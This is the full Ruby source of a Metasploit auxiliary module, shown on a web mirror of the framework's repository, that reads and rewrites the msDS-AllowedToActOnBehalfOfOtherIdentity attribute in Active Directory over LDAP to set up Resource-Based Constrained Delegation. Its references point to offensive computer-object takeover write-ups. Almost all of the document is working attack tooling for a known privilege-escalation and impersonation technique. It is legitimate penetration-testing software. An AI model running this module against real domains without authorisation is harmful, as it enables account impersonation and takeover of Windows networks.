Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/ldap/rbcd.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Exploit::Remote::LDAP
9
include Msf::OptionalSession::LDAP
10
11
ATTRIBUTE = 'msDS-AllowedToActOnBehalfOfOtherIdentity'.freeze
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Role Base Constrained Delegation',
18
'Description' => %q{
19
This module can read and write the necessary LDAP attributes to configure a particular object for Role Based
20
Constrained Delegation (RBCD). When writing, the module will add an access control entry to allow the account
21
specified in DELEGATE_FROM to the object specified in DELEGATE_TO. In order for this to succeed, the
22
authenticated user must have write access to the target object (the object specified in DELEGATE_TO).
23
},
24
'Author' => [
25
'Podalirius', # Remi Gascou (@podalirius_), Impacket reference implementation
26
'Charlie Bromberg', # Charlie Bromberg (@_nwodtuhs), Impacket reference implementation
27
'Spencer McIntyre' # module author
28
],
29
'References' => [
30
['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution'],
31
['URL', 'https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd'],
32
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/3c6713e309cae871d685fa443d3e21b7026a2155/examples/rbcd.py']
33
],
34
'License' => MSF_LICENSE,
35
'Actions' => [
36
['FLUSH', { 'Description' => 'Delete the security descriptor' }],
37
['READ', { 'Description' => 'Read the security descriptor' }],
38
['REMOVE', { 'Description' => 'Remove matching ACEs from the security descriptor DACL' }],
39
['WRITE', { 'Description' => 'Add an ACE to the security descriptor DACL' }]
40
],
41
'DefaultAction' => 'READ',
42
'Notes' => {
43
'Stability' => [],
44
'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, WRITE all make changes
45
'Reliability' => []
46
}
47
)
48
)
49
50
register_options([
51
OptString.new('DELEGATE_TO', [ true, 'The delegation target' ]),
52
OptString.new('DELEGATE_FROM', [ false, 'The delegation source' ])
53
])
54
end
55
56
def build_ace(sid)
57
Rex::Proto::MsDtyp::MsDtypAce.new({
58
header: {
59
ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE
60
},
61
body: {
62
access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask::ALL,
63
sid: sid
64
}
65
})
66
end
67
68
def fail_with_ldap_error(message)
69
ldap_result = @ldap.get_operation_result.table
70
return if ldap_result[:code] == 0
71
72
print_error(message)
73
# Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
74
case ldap_result[:code]
75
when 1
76
fail_with(Failure::Unknown, "An LDAP operational error occurred. The error was: #{ldap_result[:error_message].strip}")
77
when 16
78
fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist.')
79
when 50
80
fail_with(Failure::NoAccess, 'The LDAP operation failed due to insufficient access rights.')
81
when 51
82
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is too busy to perform the request.')
83
when 52
84
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is not currently available to process the request.')
85
when 53
86
fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is unwilling to perform the request.')
87
when 64
88
fail_with(Failure::Unknown, 'The LDAP operation failed due to a naming violation.')
89
when 65
90
fail_with(Failure::Unknown, 'The LDAP operation failed due to an object class violation.')
91
end
92
93
fail_with(Failure::Unknown, "Unknown LDAP error occurred: result: #{ldap_result[:code]} message: #{ldap_result[:error_message].strip}")
94
end
95
96
def get_delegate_from_obj
97
delegate_from = datastore['DELEGATE_FROM']
98
if delegate_from.blank?
99
fail_with(Failure::BadConfig, 'The DELEGATE_FROM option must be specified for this action.')
100
end
101
102
obj = ldap_get("(sAMAccountName=#{delegate_from})", attributes: ['sAMAccountName', 'ObjectSID'])
103
if obj.nil? && !delegate_from.end_with?('$')
104
obj = ldap_get("(sAMAccountName=#{delegate_from}$)", attributes: ['sAMAccountName', 'ObjectSID'])
105
end
106
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_from}") unless obj
107
108
obj
109
end
110
111
def ldap_get(filter, attributes: [])
112
raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes).first
113
return nil unless raw_obj
114
115
obj = {}
116
117
obj['dn'] = raw_obj['dn'].first.to_s
118
unless raw_obj['sAMAccountName'].empty?
119
obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s
120
end
121
122
unless raw_obj['ObjectSid'].empty?
123
obj['ObjectSid'] = Rex::Proto::MsDtyp::MsDtypSid.read(raw_obj['ObjectSid'].first)
124
end
125
126
unless raw_obj[ATTRIBUTE].empty?
127
obj[ATTRIBUTE] = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(raw_obj[ATTRIBUTE].first)
128
end
129
130
obj
131
end
132
133
def run
134
ldap_connect do |ldap|
135
validate_bind_success!(ldap)
136
137
if (@base_dn = datastore['BASE_DN'])
138
print_status("User-specified base DN: #{@base_dn}")
139
else
140
print_status('Discovering base DN automatically')
141
142
unless (@base_dn = ldap.base_dn)
143
print_warning("Couldn't discover base DN!")
144
end
145
end
146
@ldap = ldap
147
148
delegate_to = datastore['DELEGATE_TO']
149
obj = ldap_get("(sAMAccountName=#{delegate_to})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
150
if obj.nil? && !delegate_to.end_with?('$')
151
obj = ldap_get("(sAMAccountName=#{delegate_to}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE])
152
end
153
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_to}") unless obj
154
155
send("action_#{action.name.downcase}", obj)
156
end
157
rescue Errno::ECONNRESET
158
fail_with(Failure::Disconnected, 'The connection was reset.')
159
rescue Rex::ConnectionError => e
160
fail_with(Failure::Unreachable, e.message)
161
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
162
fail_with(Failure::NoAccess, e.message)
163
rescue Net::LDAP::Error => e
164
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
165
end
166
167
def action_read(obj)
168
security_descriptor = obj[ATTRIBUTE]
169
if security_descriptor.nil?
170
print_status("The #{ATTRIBUTE} field is empty.")
171
return
172
end
173
174
if (sddl = sd_to_sddl(security_descriptor))
175
vprint_status("#{ATTRIBUTE}: #{sddl}")
176
end
177
178
if security_descriptor.dacl.nil?
179
print_status("The #{ATTRIBUTE} DACL field is empty.")
180
return
181
end
182
183
print_status('Allowed accounts:')
184
security_descriptor.dacl.aces.each do |ace|
185
account_name = ldap_get("(ObjectSid=#{ace.body.sid})", attributes: ['sAMAccountName'])
186
if account_name
187
print_status(" #{ace.body.sid} (#{account_name['sAMAccountName']})")
188
else
189
print_status(" #{ace.body.sid}")
190
end
191
end
192
end
193
194
def action_remove(obj)
195
delegate_from = get_delegate_from_obj
196
197
security_descriptor = obj[ATTRIBUTE]
198
unless security_descriptor.dacl && !security_descriptor.dacl.aces.empty?
199
print_status('No DACL ACEs are present. No changes are necessary.')
200
return
201
end
202
203
aces = security_descriptor.dacl.aces.snapshot
204
aces.delete_if { |ace| ace.body[:sid] == delegate_from['ObjectSid'] }
205
delta = security_descriptor.dacl.aces.length - aces.length
206
if delta == 0
207
print_status('No DACL ACEs matched. No changes are necessary.')
208
return
209
else
210
print_status("Removed #{delta} matching ACE#{delta > 1 ? 's' : ''}.")
211
end
212
security_descriptor.dacl.aces = aces
213
# clear these fields so they'll be calculated automatically after the update
214
security_descriptor.dacl.acl_count.clear
215
security_descriptor.dacl.acl_size.clear
216
217
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, security_descriptor.to_binary_s)
218
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
219
end
220
print_good("Successfully updated the #{ATTRIBUTE} attribute.")
221
end
222
223
def action_flush(obj)
224
unless obj[ATTRIBUTE]
225
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
226
return
227
end
228
229
unless @ldap.delete_attribute(obj['dn'], ATTRIBUTE)
230
fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.")
231
end
232
233
print_good("Successfully deleted the #{ATTRIBUTE} attribute.")
234
end
235
236
def action_write(obj)
237
delegate_from = get_delegate_from_obj
238
if obj[ATTRIBUTE]
239
_action_write_update(obj, delegate_from)
240
else
241
_action_write_create(obj, delegate_from)
242
end
243
end
244
245
def _action_write_create(obj, delegate_from)
246
vprint_status("Creating new #{ATTRIBUTE}...")
247
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.new
248
security_descriptor.owner_sid = Rex::Proto::MsDtyp::MsDtypSid.new('S-1-5-32-544')
249
security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new
250
security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS
251
security_descriptor.dacl.aces << build_ace(delegate_from['ObjectSid'])
252
253
if (sddl = sd_to_sddl(security_descriptor))
254
vprint_status("New #{ATTRIBUTE}: #{sddl}")
255
end
256
257
unless @ldap.add_attribute(obj['dn'], ATTRIBUTE, security_descriptor.to_binary_s)
258
fail_with_ldap_error("Failed to create the #{ATTRIBUTE} attribute.")
259
end
260
261
print_good("Successfully created the #{ATTRIBUTE} attribute.")
262
print_status('Added account:')
263
print_status(" #{delegate_from['ObjectSid']} (#{delegate_from['sAMAccountName']})")
264
end
265
266
def _action_write_update(obj, delegate_from)
267
vprint_status("Updating existing #{ATTRIBUTE}...")
268
security_descriptor = obj[ATTRIBUTE]
269
270
if (sddl = sd_to_sddl(security_descriptor))
271
vprint_status("Old #{ATTRIBUTE}: #{sddl}")
272
end
273
274
if security_descriptor.dacl
275
if security_descriptor.dacl.aces.any? { |ace| ace.body[:sid].to_s == delegate_from['ObjectSid'].to_s }
276
print_status("Delegation from #{delegate_from['sAMAccountName']} to #{obj['sAMAccountName']} is already configured.")
277
end
278
# clear these fields so they'll be calculated automatically after the update
279
security_descriptor.dacl.acl_count.clear
280
security_descriptor.dacl.acl_size.clear
281
else
282
security_descriptor.control.dp = 1
283
security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new
284
security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS
285
end
286
287
security_descriptor.dacl.aces << build_ace(delegate_from['ObjectSid'])
288
289
if (sddl = sd_to_sddl(security_descriptor))
290
vprint_status("New #{ATTRIBUTE}: #{sddl}")
291
end
292
293
unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, security_descriptor.to_binary_s)
294
fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.")
295
end
296
297
print_good("Successfully updated the #{ATTRIBUTE} attribute.")
298
end
299
300
def sd_to_sddl(sd)
301
sd.to_sddl_text
302
rescue StandardError => e
303
elog('failed to parse a binary security descriptor to SDDL', error: e)
304
end
305
end
306
307